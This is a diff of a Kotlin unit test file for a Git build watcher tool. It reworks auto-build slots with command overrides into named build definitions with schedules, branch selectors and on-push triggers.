de.hoennig.gittally.config.AutoBuildConfig -import de.hoennig.gittally.config.AutoBuildSlot import de.hoennig.gittally.config.BranchConfig +import de.hoennig.gittally.config.BuildDefinition import de.hoennig.gittally.config.ConfigLoader import de.hoennig.gittally.config.GitTallyConfig import de.hoennig.gittally.config.WatcherConfig @@ -75,11 +75,12 @@ class WatcherTest : FunSpec() { every { gitService.newOriginBranches(any(), any()) } returns emptyList() every { gitService.hasNewCommits(any(), any()) } returns false every { gitService.originHeadCommit(any(), any()) } returns null + every { gitService.originBranchCommitTimes(any()) } returns emptyMap() every { gitService.pullRequestHeads(any()) } returns emptySet() every { gitService.worktreePrune(any()) } returns Unit every { gitService.fastForwardLocalBranches(any()) } returns emptyList() every { buildExecutor.currentBuilds() } returns emptyList() - every { buildExecutor.startBuild(any(), any(), any(), anyNullable(), any()) } answers { + every { buildExecutor.startBuild(any(), any(), any(), any()) } answers { val branch = firstArg() val commit = secondArg() startedBuilds += branch to commit @@ -93,19 +94,17 @@ class WatcherTest : FunSpec() { branch: String, status: BuildStatus, commit: String = "commit-0", - buildCommandOverride: String? = null, - name: String = branch, + build: String = BuildDefinition.DEFAULT, ): BuildResult { val startedAt = noon.minusSeconds(3600).plusSeconds(seedCounter++) val result = BuildResult( branch = branch, - name = name, + build = build, commit = commit, status = status, startedAt = startedAt, - buildCommandOverride = buildCommandOverride, - artifactKey = ArtifactKeys.buildKey(branch, startedAt), + artifactKey = ArtifactKeys.buildKey(BuildDefinition.poolName(branch, build), startedAt), ) repository.append(result) return result @@ -141,7 +140,7 @@ class WatcherTest : FunSpec() { branches = mapOf( "default" to BranchConfig(), - "main" to BranchConfig(autoBuild = AutoBuildConfig(enabled = true, times = times.map { AutoBuildSlot(it) })), + "main" to BranchConfig(autoBuild = AutoBuildConfig(enabled = true, times = times.toList())), ), ) @@ -354,7 +353,7 @@ class WatcherTest : FunSpec() { "main" to BranchConfig( requirePullRequest = true, - autoBuild = AutoBuildConfig(enabled = true, times = listOf(AutoBuildSlot("11:00"))), + autoBuild = AutoBuildConfig(enabled = true, times = listOf("11:00")), ), ), ), @@ -379,69 +378,100 @@ class WatcherTest : FunSpec() { harness.watcher.poll(harness.workingDir) harness.startedBuilds shouldContainExactly listOf("main" to "commit-abc") - // a plain HH:MM slot runs the branch's regular buildCommand — no override - verify { harness.buildExecutor.startBuild("main", "commit-abc", any(), null) } + // the deprecated branch schedule rebuilds the branch's own pool with the default build + verify { harness.buildExecutor.startBuild("main", "commit-abc", any(), BuildDefinition.DEFAULT) } harness.autoBuildState().isTriggered("main", LocalDate.parse("2026-07-07"), "11:00").shouldBeTrue() } - test("an auto-build slot with its own build command dictates that command for the build") { + test("a scheduled build definition fires for its selected branches under its own pool") { val harness = Harness( GitTallyConfig( - branches = + buildDefinitions = mapOf( - "default" to BranchConfig(), - "main" to - BranchConfig( - autoBuild = - AutoBuildConfig( - enabled = true, - times = listOf(AutoBuildSlot("11:00", "./gradlew fullCheck")), - ), + "pitest" to + BuildDefinition( + atTimes = listOf("11:00"), + branches = listOf("main", "release/*"), ), ), ), ) - harness.seed("main", BuildStatus.SUCCESS, commit = "commit-abc") - every { harness.gitService.originBranches(any()) } returns listOf("main") - every { harness.gitService.originHeadCommit("main", any()) } returns "commit-abc" - - harness.watcher.poll(harness.workingDir) - - verify { harness.buildExecutor.startBuild("main", "commit-abc", any(), "./gradlew fullCheck") } - harness.autoBuildState().isTriggered("main", LocalDate.parse("2026-07-07"), "11:00").shouldBeTrue() - } - - test("a named auto-build slot records under its name, even while the branch's regular build is running") { - val harness = - Harness( - GitTallyConfig( - branches = - mapOf( - "default" to BranchConfig(), - "main" to - BranchConfig( - autoBuild = - AutoBuildConfig( - enabled = true, - times = listOf(AutoBuildSlot("11:00", "./gradlew fullCheck", "main@nightly")), - ), - ), - ), - ), - ) - // the branch's own pool is busy; the named slot has its own pool and is not blocked by it + // the branch's own pool is busy; the pitest pool is its own and not blocked by it harness.seed("main", BuildStatus.RUNNING, commit = "commit-abc") - every { harness.gitService.originBranches(any()) } returns listOf("main") + every { harness.gitService.originBranches(any()) } returns listOf("main", "release/1.x", "feature/x") every { harness.gitService.originHeadCommit("main", any()) } returns "commit-abc" + every { harness.gitService.originHeadCommit("release/1.x", any()) } returns "commit-rel" + + harness.watcher.poll(harness.workingDir) + harness.watcher.poll(harness.workingDir) + + // glob selector: main and release/1.x fire once, feature/x is not selected + harness.startedBuilds shouldContainExactlyInAnyOrder + listOf("main" to "commit-abc", "release/1.x" to "commit-rel") + verify { harness.buildExecutor.startBuild("main", "commit-abc", any(), "pitest") } + harness.autoBuildState().isTriggered("main@pitest", LocalDate.parse("2026-07-07"), "11:00").shouldBeTrue() + } + + test("a scheduled build definition with activeWithin skips branches without recent commits") { + val harness = + Harness( + GitTallyConfig( + buildDefinitions = + mapOf("pitest" to BuildDefinition(atTimes = listOf("11:00"), activeWithin = "24h")), + ), + ) + every { harness.gitService.originBranches(any()) } returns listOf("active", "dormant") + every { harness.gitService.originHeadCommit("active", any()) } returns "commit-act" + every { harness.gitService.originBranchCommitTimes(any()) } returns + mapOf( + "active" to noon.minusSeconds(3600), + "dormant" to noon.minus(Duration.ofDays(10)), + ) harness.watcher.poll(harness.workingDir) - verify { harness.buildExecutor.startBuild("main", "commit-abc", any(), "./gradlew fullCheck", "main@nightly") } - harness.autoBuildState().isTriggered("main", LocalDate.parse("2026-07-07"), "11:00").shouldBeTrue() + harness.startedBuilds shouldContainExactly listOf("active" to "commit-act") + verify { harness.buildExecutor.startBuild("active", "commit-act", any(), "pitest") } } - test("a commit-triggered build never carries a build command override") { + test("an onPush build definition builds the changed branches it selects") { + val harness = + Harness( + GitTallyConfig( + buildDefinitions = + mapOf("lint" to BuildDefinition(onPush = true, branches = listOf("main"))), + ), + ) + every { harness.gitService.originBranches(any()) } returns listOf("main", "feature/x") + every { harness.gitService.localBranches(any()) } returns listOf("main", "feature/x") + every { harness.gitService.hasNewCommits(any(), any()) } returns true + every { harness.gitService.originHeadCommit("main", any()) } returns "commit-main" + every { harness.gitService.originHeadCommit("feature/x", any()) } returns "commit-feat" + + harness.watcher.poll(harness.workingDir) + + // the implicit default build covers both branches; lint only selects main + verify { harness.buildExecutor.startBuild("main", "commit-main", any(), BuildDefinition.DEFAULT) } + verify { harness.buildExecutor.startBuild("feature/x", "commit-feat", any(), BuildDefinition.DEFAULT) } + verify { harness.buildExecutor.startBuild("main", "commit-main", any(), "lint") } + verify(exactly = 0) { harness.buildExecutor.startBuild("feature/x", "commit-feat", any(), "lint") } + } + + test("builds.default with onPush false disables the implicit on-push build") { + val harness = + Harness(GitTallyConfig(buildDefinitions = mapOf("default" to BuildDefinition(onPush = false)))) + every { harness.gitService.originBranches(any()) } returns listOf("main") + every { harness.gitService.localBranches(any()) } returns listOf("main") + every { harness.gitService.hasNewCommits("main", any()) } returns true + every { harness.gitService.originHeadCommit("main", any()) } returns "commit-main" + + harness.watcher.poll(harness.workingDir) + + harness.startedBuilds.shouldBeEmpty() + } + + test("a commit-triggered build belongs to the default build definition") { val harness = Harness() every { harness.gitService.originBranches(any()) } returns listOf("main") every { harness.gitService.localBranches(any()) } returns listOf("main") @@ -450,7 +480,7 @@ class WatcherTest : FunSpec() { harness.watcher.poll(harness.workingDir) - verify { harness.buildExecutor.startBuild("main", "commit-main", any(), null) } + verify { harness.buildExecutor.startBuild("main", "commit-main", any(), BuildDefinition.DEFAULT) } } test("an auto-build slot stays untriggered while the branch is still building") { @@ -496,21 +526,15 @@ class WatcherTest : FunSpec() { harness.startedBuilds shouldContainExactly listOf("main" to "commit-2") } - test("startup recovery re-enqueues an interrupted auto-slot build with its recorded command and name") { + test("startup recovery re-enqueues an interrupted build under its recorded build definition") { val harness = Harness() - harness.seed( - "main", - BuildStatus.INTERRUPTED, - commit = "commit-1", - buildCommandOverride = "./gradlew fullCheck", - name = "main@nightly", - ) + harness.seed("main", BuildStatus.INTERRUPTED, commit = "commit-1", build = "pitest") every { harness.gitService.originHeadCommit("main", any()) } returns "commit-1" harness.watcher.recoverOnStartup(harness.workingDir) - // otherwise a restart mid-nightly-build would repeat it with the regular command, in the wrong pool - verify { harness.buildExecutor.startBuild("main", "commit-1", any(), "./gradlew fullCheck", "main@nightly") } + // otherwise a restart mid-nightly-build would repeat it as a regular build in the wrong pool + verify { harness.buildExecutor.startBuild("main", "commit-1", any(), "pitest") } } test("startup recovery closes out an orphaned PENDING build of a branch gone from origin") {